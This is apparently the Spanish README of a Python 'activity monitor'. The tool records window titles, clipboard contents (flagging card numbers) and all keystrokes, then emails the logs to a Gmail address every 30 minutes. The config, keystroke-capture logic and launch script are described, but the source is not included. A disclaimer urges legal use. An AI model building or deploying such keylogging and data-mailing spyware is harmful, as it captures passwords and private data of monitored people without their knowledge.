

Documentación del Sistema de Monitoreo de Actividades

Descripción General

Este sistema de monitoreo captura y registra la actividad del usuario en tiempo real, incluyendo ventanas activas, contenido del portapapeles y pulsaciones de teclado. Los datos se almacenan localmente y se envían por correo electrónico de forma periódica.

Estructura del Proyecto

```
proyecto/
├── activity.jsonl      # Log estructurado en formato JSON Lines
├── config.py          # Archivo de configuración
├── dist/              # Directorio para ejecutables
├── iniciar_monitor.bat # Script de inicio para Windows
├── optimized_monitor.py # Script principal del monitor
├── reporte_actividades.txt # Reporte legible para humanos
├── requirements.txt    # Dependencias de Python
└── venv_new/          # Entorno virtual de Python
```

Configuración

Archivo **config.py**

```
CONFIG = {
    'log_dir': r"C:\Users\Documents\Historial",
    'exe_path': r"C:\Users\Documents\Historial\dist",
    'max_log_size': 50 * 1024 * 1024, # 50 MB
    'log_rotation': 5,
    'email_interval': 30, # minutos
    'email': {
        'smtp_server': 'smtp.gmail.com',
        'smtp_port': 587,
        'sender': 'correo',
        'password': '.....', # Contraseña de aplicación
        'recipient': 'xxxxxxxxx@gmail.com'
    }
}
```

}

Parámetros de Configuración

Parámetro	Descripción	Valor por Defecto
<code>log_dir</code>	Directorio donde se almacenan los archivos de log	<code>C:\Users\Documents\Historial</code>
<code>exe_path</code>	Ruta para guardar ejecutables compilados	<code>C:\Users\Documents\Historial\dist</code>
<code>max_log_size</code>	Tamaño máximo del archivo de log antes de rotación	50 MB
<code>log_rotation</code>	Número de archivos de respaldo a mantener	5
<code>email_interval</code>	Intervalo en minutos para envío de reportes	30 minutos

Funcionalidades Principales

1. Monitoreo de Ventanas Activas

- **Función:** `track_activity()`
- **Frecuencia:** Cada 2 segundos
- **Datos capturados:**
 - Nombre de la aplicación
 - Ruta del ejecutable
 - Título de la ventana
 - Dominio web (si aplica)
 - Categorización de la aplicación

2. Monitoreo del Portapapeles

- **Función:** `track_clipboard()`
- **Frecuencia:** Cada 0.5 segundos
- **Datos capturados:**
 - Contenido copiado
 - Tipo de contenido (texto, URL, email, etc.)

- Longitud del contenido

3. Monitoreo del Teclado

- **Función:** `track_keyboard()`
- **Activación:** Continua
- **Criterios de registro:**
 - Cada 50 caracteres escritos
 - Al presionar Enter
 - Cada 5 segundos si hay texto pendiente

4. Categorización Automática

Aplicaciones Productivas

- Editores de código (Code, Studio)
- Terminales
- Documentos (Docs, Outlook)
- Herramientas de colaboración (Teams)

Aplicaciones No Productivas

- Juegos
- Redes sociales
- Multimedia
- Chat y video

5. Detección de Tipos de Contenido

Tipo	Descripción	Patrón de Detección
URL	Enlaces web	Patrones <code>http://</code> o <code>https://</code>
Tarjeta de Pago	Números de tarjeta	Patrones <code>XXXX-XXXX-XXXX-XXXX</code>
Email	Direcciones de correo	Contiene <code>@</code> y <code>.</code>
Texto Largo	Contenido extenso	Mayor a 100 caracteres
Datos Binarios	Contenido no textual	Datos no string

Archivos de Salida

1. **activity.jsonl**

Archivo de log estructurado en formato JSON Lines. Cada línea contiene:

```
{
  "timestamp": "2025-06-05T15:30:5",
  "type": "WINDOW_ACTIVITY|CLIPBOARD|KEYBOARD",
  "data": {
    // Datos específicos del evento
  },
  "system": {
    "cpu_percent": 45.2,
    "memory_used": 67.8,
    "user": "tu user"
  }
}
```

2. **reporte_actividades.txt**

Reporte legible para humanos con resumen de actividades:

- Fecha y hora de última actualización
- Total de entradas registradas
- Listado cronológico de actividades


Sistema de Rotación de Logs

Cuando el archivo principal alcanza **50 MB**:

1. **activity.jsonl** → **activity.jsonl.1**
2. **activity.jsonl.1** → **activity.jsonl.2**
3. **activity.jsonl.2** → **activity.jsonl.3**
4. **activity.jsonl.3** → **activity.jsonl.4**
5. **activity.jsonl.4** → **activity.jsonl.5**
6. Se mantienen hasta **5 archivos de respaldo**

Envío de Reportes por Email

Configuración Requerida

-  Cuenta de Gmail con autenticación de dos factores

- ☒ Contraseña de aplicación generada
- ☒ Servidor SMTP: `smtp.gmail.com:`

Contenido del Email

- **Asunto:** "Reporte Actividades - YYYY-MM-DD HH:MM"
- **Adjuntos:**
 - `reporte.txt`: Reporte legible
 - `activity.jsonl`: Log estructurado completo

Frecuencia de Envío

- **Intervalo configurado:** 30 minutos
- **Envío automático:** Al detener el programa
- **Envío manual:** Mediante `send_email_report()`



Instalación y Uso

Requisitos del Sistema

Dependencias principales

```
pip install psutil pyperclip pynput pywin32
```

Archivo `requirements.txt`

```
psutil>=5.9.0
pyperclip>=1.8.2
pynput>=1.7.6
pywin32>=306
```

Ejecución

Modo Desarrollo

```
python optimized_monitor.py
```

Como Servicio de Windows

```
# Usar iniciar_monitor.bat
@echo off
cd /d "C:\Users\Documents\Historial"
python optimized_monitor.py
pause
```

Estructura de Hilos






El sistema ejecuta **3 hilos simultáneos**:

- 1. **Hilo Principal**: Control general y envío de emails
- 2. **Hilo de Actividad**: Monitoreo de ventanas (`track_activity`)
- 3. **Hilo de Portapapeles**: Monitoreo del clipboard (`track_clipboard`)
- 4. **Hilo de Teclado**: Captura de pulsaciones (`track_keyboard`)






Consideraciones de Seguridad

Información Capturada

Este software captura información **sensible** incluyendo:

-  Pulsaciones de teclado (keylogger)
-  Contenido del portapapeles
-  Historial de navegación web
-  Aplicaciones utilizadas
-  Timestamps de actividad

Recomendaciones de Seguridad

- 1.  **Usar solo en equipos propios**
- 2.  **Proteger archivos de configuración**
- 3.  **Usar contraseñas de aplicación para email**
- 4.  **Revisar regularmente los logs generados**
- 5.  **Cumplir con las leyes locales de privacidad**

Datos Sensibles Detectados

Tipo de Dato	Acción Recomendada
Contraseñas	Revisar logs regularmente
Información bancaria	Configurar filtros
Datos personales	Implementar cifrado
Credenciales	Rotación de contraseñas

Personalización

Modificar Categorías de Aplicaciones

Editar las listas en la función `categorize_app()`:

```
def categorize_app(app_name):
    productive = ['code', 'studio', 'terminal', 'docs', 'outlook', 'teams']
    unproductive = ['game', 'social', 'media', 'chat', 'video', 'music']

    # Agregar nuevas categorías aquí
    educational = ['khan', 'coursera', 'udemy', 'youtube'] # Ejemplo
```

Ajustar Frecuencias de Monitoreo

Componente	Ubicación	Valor Actual	Personalización
Ventanas	<code>track_activity()</code>	<code>time.sleep(2)</code>	1-10 segundos
Portapapeles	<code>track_clipboard()</code>	<code>time.sleep(0.5)</code>	0.1-2 segundos
Email	<code>config.py</code>	<code>email_interval : 30</code>	5-1440 minutos

Modificar Criterios de Teclado

```
# En la función on_press()
if (len(current_text) >= 50 or          # Cambiar número de caracteres
    key == keyboard.Key.enter or
    (current_text.strip() and current_time - last_keyboard_log >= 5)): # Cambiar tiempo
```

Solución de Problemas






Errores Comunes

Error	Causa Probable	Solución
Error de permisos	Falta de privilegios	Ejecutar como administrador

Error de email	Credenciales incorrectas	Verificar contraseña de aplicación
Error de teclado	Dependencia faltante	<code>pip install pynput</code>
Archivo bloqueado	Múltiples instancias	Cerrar otras instancias

Mensajes de Estado

El programa imprime mensajes de depuración:

-  WINDOW_ACTIVITY registrado
-  CLIPBOARD registrado
-  KEYBOARD registrado
-  Email enviado
-  Error en log: [detalles]

Verificación de Funcionamiento

```
# Verificar archivos generados
dir "C:\Users\Documents\Historial"
```

```
# Verificar tamaño de logs
dir "C:\Users\Documents\Historial\*.jsonl"
```

```
# Verificar último reporte
type "C:\Users\Documents\Historial\reporte_actividades.txt"
```



Análisis de Datos

Formato de Timestamp

```
# Ejemplo de conversión
from datetime import datetime
timestamp = "dia"
dt = datetime.fromisoformat(timestamp.replace('Z', '+00:00'))
```

Consultas Útiles

```
import json
```



```
# Leer todas las entradas
with open('activity.jsonl', 'r', encoding='utf-8') as f:
    entries = [json.loads(line) for line in f]

# Filtrar por tipo
clipboard_entries = [e for e in entries if e['type'] == 'CLIPBOARD']
window_entries = [e for e in entries if e['type'] == 'WINDOW_ACTIVITY']

# Estadísticas por aplicación
from collections import Counter
apps = [e['data']['application']['name'] for e in window_entries]
app_stats = Counter(apps)
```

Mantenimiento

Limpieza de Logs

```
# Script de limpieza (ejemplo)
import os
import glob

log_dir = r"C:\Users\Documents\Historial"
old_logs = glob.glob(os.path.join(log_dir, "*.jsonl.*"))

# Eliminar logs más antiguos de 30 días
for log_file in old_logs:
    # Implementar lógica de fecha
    pass
```

Backup Automático

Considerar implementar:

- Backup a la nube
- Compresión de logs antiguos
- Archivado periódico

Licencia y Uso Responsable

Este software está diseñado para **monitoreo personal** y debe usarse de acuerdo con:

- Leyes locales de privacidad

- Políticas de protección de datos
- Consentimiento de usuarios monitoreados
- Políticas corporativas de seguridad

El usuario es responsable del uso ético y legal del sistema.

Documentación generada para el Sistema de Monitoreo de Actividades - Versión 1.0